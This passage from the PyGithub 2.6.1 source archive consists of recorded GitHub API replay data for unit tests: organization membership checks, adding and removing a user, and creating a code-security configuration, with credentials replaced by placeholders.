charset=utf-8'), ('x-ratelimit-reset', '1523022613')] {"login":"lyloa","id":1,"avatar_url":"https://avatars1.githubusercontent.com/u/28614060?v=4","gravatar_id":"","url":"https://api.github.com/users/lyloa","html_url":"https://github.com/lyloa","followers_url":"https://api.github.com/users/lyloa/followers","following_url":"https://api.github.com/users/lyloa/following{/other_user}","gists_url":"https://api.github.com/users/lyloa/gists{/gist_id}","starred_url":"https://api.github.com/users/lyloa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lyloa/subscriptions","organizations_url":"https://api.github.com/users/lyloa/orgs","repos_url":"https://api.github.com/users/lyloa/repos","events_url":"https://api.github.com/users/lyloa/events{/privacy}","received_events_url":"https://api.github.com/users/lyloa/received_events","type":"User","site_admin":false,"name":"Lyloa","company":null,"blog":"","location":null,"email":"lyloa@example.com","hireable":null,"bio":null,"public_repos":1,"public_gists":0,"followers":0,"following":0,"created_at":"2017-05-11T02:10:56Z","updated_at":"2018-04-05T00:55:17Z"} https GET api.github.com None /orgs/BeaverSoftware/members/lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('content-length', '157'), ('x-github-media-type', 'github.v3; format=json'), ('content-security-policy', "default-src 'none'"), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '0000:0000:000000:0000000:00000000'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-ratelimit-remaining', '4996'), ('server', 'GitHub.com'), ('access-control-allow-origin', '*'), ('x-ratelimit-limit', '5000'), ('x-runtime-rack', '0.036899'), ('x-xss-protection', '1; mode=block'), ('date', 'Fri, 06 Apr 2018 12:54:56 GMT'), ('x-frame-options', 'deny'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('content-type', 'application/json; charset=utf-8'), ('x-accepted-oauth-scopes', 'read:org, repo, user'), ('x-ratelimit-reset', '1523022613')] {"message":"User does not exist or is not a member of the organization","documentation_url":"https://developer.github.com/v3/orgs/members/#check-membership"} https PUT api.github.com None /orgs/BeaverSoftware/memberships/lyloa {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"role": "admin"} 200 [('content-length', '1718'), ('x-runtime-rack', '0.264296'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'admin:org, repo'), ('etag', '"00000000000000000000000000000000"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '0000:0000:000000:0000000:00000000'), ('date', 'Fri, 06 Apr 2018 12:54:57 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1523022613')] {"url":"https://api.github.com/orgs/BeaverSoftware/memberships/lyloa","state":"pending", "role":"member","organization_url":"https://api.github.com/orgs/BeaverSoftware","user":{"login":"lyloa","id":1,"avatar_url":"https://avatars1.githubusercontent.com/u/28614060?v=4","gravatar_id":"","url":"https://api.github.com/users/lyloa","html_url":"https://github.com/lyloa","followers_url":"https://api.github.com/users/lyloa/followers","following_url":"https://api.github.com/users/lyloa/following{/other_user}","gists_url":"https://api.github.com/users/lyloa/gists{/gist_id}","starred_url":"https://api.github.com/users/lyloa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lyloa/subscriptions","organizations_url":"https://api.github.com/users/lyloa/orgs","repos_url":"https://api.github.com/users/lyloa/repos","events_url":"https://api.github.com/users/lyloa/events{/privacy}","received_events_url":"https://api.github.com/users/lyloa/received_events","type":"User","site_admin":false},"organization":{"login":"BeaverSoftware","id":0,"url":"https://api.github.com/orgs/BeaverSoftware","repos_url":"https://api.github.com/orgs/BeaverSoftware/repos","events_url":"https://api.github.com/orgs/BeaverSoftware/events","hooks_url":"https://api.github.com/orgs/BeaverSoftware/hooks","issues_url":"https://api.github.com/orgs/BeaverSoftware/issues","members_url":"https://api.github.com/orgs/BeaverSoftware/members{/member}","public_members_url":"https://api.github.com/orgs/BeaverSoftware/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/6361338?v=4","description":"Beaver Software is dead.."}} https GET api.github.com None /orgs/BeaverSoftware/members/lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('content-length', '157'), ('x-github-media-type', 'github.v3; format=json'), ('content-security-policy', "default-src 'none'"), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '0000:0000:000000:0000000:00000000'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-ratelimit-remaining', '4996'), ('server', 'GitHub.com'), ('access-control-allow-origin', '*'), ('x-ratelimit-limit', '5000'), ('x-runtime-rack', '0.036899'), ('x-xss-protection', '1; mode=block'), ('date', 'Fri, 06 Apr 2018 12:54:56 GMT'), ('x-frame-options', 'deny'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('content-type', 'application/json; charset=utf-8'), ('x-accepted-oauth-scopes', 'read:org, repo, user'), ('x-ratelimit-reset', '1523022613')] {"message":"User does not exist or is not a member of the organization","documentation_url":"https://developer.github.com/v3/orgs/members/#check-membership"} https DELETE api.github.com None /orgs/BeaverSoftware/memberships/lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4993'), ('x-github-media-type', 'github.v3; format=json'), ('content-security-policy', "default-src 'none'"), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '0000:0000:000000:0000000:00000000'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('access-control-allow-origin', '*'), ('x-ratelimit-limit', '5000'), ('x-runtime-rack', '0.183118'), ('x-xss-protection', '1; mode=block'), ('date', 'Fri, 06 Apr 2018 12:54:58 GMT'), ('x-frame-options', 'deny'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('content-type', 'application/octet-stream'), ('x-accepted-oauth-scopes', 'admin:org, repo'), ('x-ratelimit-reset', '1523022613')] https GET api.github.com None /orgs/BeaverSoftware/members/lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('content-length', '157'), ('x-github-media-type', 'github.v3; format=json'), ('content-security-policy', "default-src 'none'"), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '0000:0000:000000:0000000:00000000'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-ratelimit-remaining', '4992'), ('server', 'GitHub.com'), ('access-control-allow-origin', '*'), ('x-ratelimit-limit', '5000'), ('x-runtime-rack', '0.024546'), ('x-xss-protection', '1; mode=block'), ('date', 'Fri, 06 Apr 2018 12:54:58 GMT'), ('x-frame-options', 'deny'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('content-type', 'application/json; charset=utf-8'), ('x-accepted-oauth-scopes', 'read:org, repo, user'), ('x-ratelimit-reset', '1523022613')] {"message":"User does not exist or is not a member of the organization","documentation_url":"https://developer.github.com/v3/orgs/members/#check-membership"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testAddMembersDefaultRole.txt0000644000175100001660000002652714756101563026430 0ustar00runnerdockerhttps GET api.github.com None /users/lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '1136'), ('x-runtime-rack', '0.059358'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"XXX"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'FFFF:ffff:ffFFff:fffffff:FFFFFFFF'), ('last-modified', 'Thu, 05 Apr 2018 00:55:17 GMT'), ('date', 'Thu, 05 Apr 2018 17:09:05 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1522950939')] {"login":"lyloa","id":1,"avatar_url":"https://avatars1.githubusercontent.com/u/1?v=4", "gravatar_id":"","url":"https://api.github.com/users/lyloa","html_url":"https://github.com/lyloa","followers_url":"https://api.github.com/users/lyloa/followers","following_url":"https://api.github.com/users/lyloa/following{/other_user}","gists_url":"https://api.github.com/users/lyloa/gists{/gist_id}","starred_url":"https://api.github.com/users/lyloa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lyloa/subscriptions","organizations_url":"https://api.github.com/users/lyloa/orgs","repos_url":"https://api.github.com/users/lyloa/repos","events_url":"https://api.github.com/users/lyloa/events{/privacy}","received_events_url":"https://api.github.com/users/lyloa/received_events","type":"User","site_admin":false,"name":"lyloa","company":null,"blog":"","location":null,"email":"lyloa@example.com","hireable":null,"bio":null,"public_repos":1,"public_gists":0,"followers":0,"following":0,"created_at":"2017-05-11T02:10:56Z","updated_at":"2018-04-05T00:55:17Z"} https GET api.github.com None /orgs/BeaverSoftware/members/lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('content-length', '157'), ('x-github-media-type', 'github.v3; format=json'), ('content-security-policy', "default-src 'none'"), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-ratelimit-remaining', '4973'), ('server', 'GitHub.com'), ('access-control-allow-origin', '*'), ('x-ratelimit-limit', '5000'), ('x-runtime-rack', '0.035748'), ('x-xss-protection', '1; mode=block'), ('date', 'Thu, 05 Apr 2018 17:09:06 GMT'), ('x-frame-options', 'deny'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('content-type', 'application/json; charset=utf-8'), ('x-accepted-oauth-scopes', 'read:org, repo, user'), ('x-ratelimit-reset', '1522950939')] {"message":"User does not exist or is not a member of the organization","documentation_url":"https://developer.github.com/v3/orgs/members/#check-membership"} https PUT api.github.com None /orgs/BeaverSoftware/memberships/lyloa {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"role": "member"} 200 [('content-length', '1718'), ('x-runtime-rack', '0.352123'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'admin:org, repo'), ('etag', '"92186"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ'), ('date', 'Thu, 05 Apr 2018 17:09:06 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1522950939')] {"url":"https://api.github.com/orgs/BeaverSoftware/memberships/lyloa","state":"pending", "role":"member","organization_url":"https://api.github.com/orgs/BeaverSoftware","user":{"login":"lyloa","id":1,"avatar_url":"https://avatars1.githubusercontent.com/u/28614060?v=4","gravatar_id":"","url":"https://api.github.com/users/lyloa","html_url":"https://github.com/lyloa","followers_url":"https://api.github.com/users/lyloa/followers","following_url":"https://api.github.com/users/lyloa/following{/other_user}","gists_url":"https://api.github.com/users/lyloa/gists{/gist_id}","starred_url":"https://api.github.com/users/lyloa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lyloa/subscriptions","organizations_url":"https://api.github.com/users/lyloa/orgs","repos_url":"https://api.github.com/users/lyloa/repos","events_url":"https://api.github.com/users/lyloa/events{/privacy}","received_events_url":"https://api.github.com/users/lyloa/received_events","type":"User","site_admin":false},"organization":{"login":"BeaverSoftware","id":0,"url":"https://api.github.com/orgs/BeaverSoftware","repos_url":"https://api.github.com/orgs/BeaverSoftware/repos","events_url":"https://api.github.com/orgs/BeaverSoftware/events","hooks_url":"https://api.github.com/orgs/BeaverSoftware/hooks","issues_url":"https://api.github.com/orgs/BeaverSoftware/issues","members_url":"https://api.github.com/orgs/BeaverSoftware/members{/member}","public_members_url":"https://api.github.com/orgs/BeaverSoftware/public_members{/member}","avatar_url":"https://avatars1.githubusercontent.com/u/6361338?v=4","description":"Beaver Software is dead.."}} https GET api.github.com None /orgs/BeaverSoftware/members/lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('content-length', '157'), ('x-github-media-type', 'github.v3; format=json'), ('content-security-policy', "default-src 'none'"), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-ratelimit-remaining', '4969'), ('server', 'GitHub.com'), ('access-control-allow-origin', '*'), ('x-ratelimit-limit', '5000'), ('x-runtime-rack', '0.032600'), ('x-xss-protection', '1; mode=block'), ('date', 'Thu, 05 Apr 2018 17:09:08 GMT'), ('x-frame-options', 'deny'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('content-type', 'application/json; charset=utf-8'), ('x-accepted-oauth-scopes', 'read:org, repo, user'), ('x-ratelimit-reset', '1522950939')] {"message":"User does not exist or is not a member of the organization","documentation_url":"https://developer.github.com/v3/orgs/members/#check-membership"} https DELETE api.github.com None /orgs/BeaverSoftware/memberships/lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4970'), ('x-github-media-type', 'github.v3; format=json'), ('content-security-policy', "default-src 'none'"), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('access-control-allow-origin', '*'), ('x-ratelimit-limit', '5000'), ('x-runtime-rack', '0.140419'), ('x-xss-protection', '1; mode=block'), ('date', 'Thu, 05 Apr 2018 17:09:07 GMT'), ('x-frame-options', 'deny'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('content-type', 'application/octet-stream'), ('x-accepted-oauth-scopes', 'admin:org, repo'), ('x-ratelimit-reset', '1522950939')] https GET api.github.com None /orgs/BeaverSoftware/members/lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('content-length', '157'), ('x-github-media-type', 'github.v3; format=json'), ('content-security-policy', "default-src 'none'"), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-ratelimit-remaining', '4969'), ('server', 'GitHub.com'), ('access-control-allow-origin', '*'), ('x-ratelimit-limit', '5000'), ('x-runtime-rack', '0.032600'), ('x-xss-protection', '1; mode=block'), ('date', 'Thu, 05 Apr 2018 17:09:08 GMT'), ('x-frame-options', 'deny'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('content-type', 'application/json; charset=utf-8'), ('x-accepted-oauth-scopes', 'read:org, repo, user'), ('x-ratelimit-reset', '1522950939')] {"message":"User does not exist or is not a member of the organization","documentation_url":"https://developer.github.com/v3/orgs/members/#check-membership"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testAttachDetachSecurityConfig.txt0000644000175100001660000005560714756101563027472 0ustar00runnerdockerhttps POST api.github.com None /orgs/BeaverSoftware/code-security/configurations {'Accept': 'application/vnd.github.nebula-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "test1", "description": "This is a description"} 201 [('Date', 'Thu, 12 Dec 2024 06:42:28 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1035'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"fd73fc4c5ec13f387050105a80787cb1ecd5ae65c85752c4a4f6e81ffa443c95"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, repo'), ('X-Accepted-OAuth-Scopes', 'admin:org, write:org'), ('github-authentication-token-expiration', '2025-01-09 05:04:04 UTC'), ('Location', 'https://api.github.com/orgs/BeaverSoftware/code-security/configurations/181720'), ('X-GitHub-Media-Type', 'github.v3; param=nebula-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4861'), ('X-RateLimit-Reset', '1733988416'), ('X-RateLimit-Used', '139'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'A041:376D58:25F1BF:4B7B1E:675A85D3'), ('Server', 'github.com')] {"id":181720,"target_type":"organization","name":"test1","description":"This is a description","advanced_security":"disabled","dependency_graph":"enabled","dependency_graph_autosubmit_action":"disabled","dependency_graph_autosubmit_action_options":{"labeled_runners":false},"dependabot_alerts":"disabled","dependabot_security_updates":"disabled","code_scanning_default_setup":"disabled","code_scanning_default_setup_options":{"runner_type":"not_set","runner_label":null},"secret_scanning":"disabled","secret_scanning_push_protection":"disabled","secret_scanning_delegated_bypass":"disabled","secret_scanning_non_provider_patterns":"disabled","enforcement":"enforced","url":"https://api.github.com/orgs/BeaverSoftware/code-security/configurations/181720","html_url":"https://github.com/organizations/BeaverSoftware/settings/security_products/configurations/edit/181720","created_at":"2024-12-12T06:42:27Z","updated_at":"2024-12-12T06:42:27Z","private_vulnerability_reporting":"disabled","secret_scanning_validity_checks":"disabled"} https GET api.github.com None /repos/BeaverSoftware/test1 {'Accept': 'application/vnd.github.nebula-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 12 Dec 2024 06:42:28 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"be6662f0c54e82efea0ce2cb6fd9ebe4e50bb2ae0e1ccef8096cb01695dd9758"'), ('Last-Modified', 'Tue, 10 Dec 2024 06:05:14 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-01-09 05:04:04 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=nebula-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4860'), ('X-RateLimit-Reset', '1733988416'), ('X-RateLimit-Used', '140'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', 'A042:38B93F:2900A9:518077:675A85D4'), ('Server', 'github.com')] {"id":901148930,"node_id":"R_kgDONbZxAg","name":"test1","full_name":"BeaverSoftware/test1","private":true,"owner":{"login":"BeaverSoftware","id":130614553,"node_id":"O_kgDOB8kFGQ","avatar_url":"https://avatars.githubusercontent.com/u/130614553?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/BeaverSoftware/test1","description":null,"fork":false,"url":"https://api.github.com/repos/BeaverSoftware/test1","forks_url":"https://api.github.com/repos/BeaverSoftware/test1/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/test1/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/test1/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/test1/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/test1/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/test1/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/test1/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/test1/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/test1/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/test1/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/test1/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/test1/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/test1/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/test1/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/test1/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/test1/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/test1/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/test1/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/test1/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/test1/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/test1/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/test1/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/test1/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/test1/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/test1/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/test1/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/test1/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/test1/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/test1/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/test1/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/test1/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/test1/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/test1/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/test1/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/test1/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/test1/deployments","created_at":"2024-12-10T06:05: